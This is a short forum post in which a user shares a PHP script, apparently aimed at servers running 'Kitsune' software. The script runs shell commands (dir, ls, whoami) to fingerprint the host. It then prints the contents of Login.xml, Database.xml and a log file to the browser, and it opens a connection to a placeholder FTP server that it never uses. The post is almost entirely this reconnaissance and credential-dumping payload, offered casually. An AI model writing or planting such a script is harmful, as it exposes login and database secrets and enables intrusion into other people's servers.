Report post Posted June 13, 2017 Something I created when I was bored. Don't even take it serious though. <?php // By Zaseth. FTP not tested. $ftp_server = "ftp.example.com"; $conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server"); if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { echo 'Seems to be Windows.'; echo exec('dir'); } else { echo 'Seems to be a distribution of Linux.'; $output = shell_exec('ls -lart'); echo "<pre>$output</pre>"; echo exec('whoami'); } echo "------------------------"; $filename = 'Kitsune.sql'; if (file_exists($filename)) { echo "Seems to be Kitsune."; } else { echo "This doesnt seem to be $filename"; } $myfile = fopen("Login.xml", "r") or die("Unable to open file!"); echo "------------------------"; echo fread($myfile,filesize("Login.xml")); fclose($myfile); $myfile3 = fopen("Database.xml", "r") or die("Unable to open file!"); echo "------------------------"; echo fread($myfile3,filesize("Database.xml")); fclose($myfile3); $myfile2 = fopen("Kitsune\Logging\Logs\Warn.txt", "r") or die("Unable to open file!"); echo "------------------------"; echo fread($myfile2,filesize("Kitsune\Logging\Logs\Warn.txt")); fclose($myfile2); ?> Share this post Link to post Share on other sites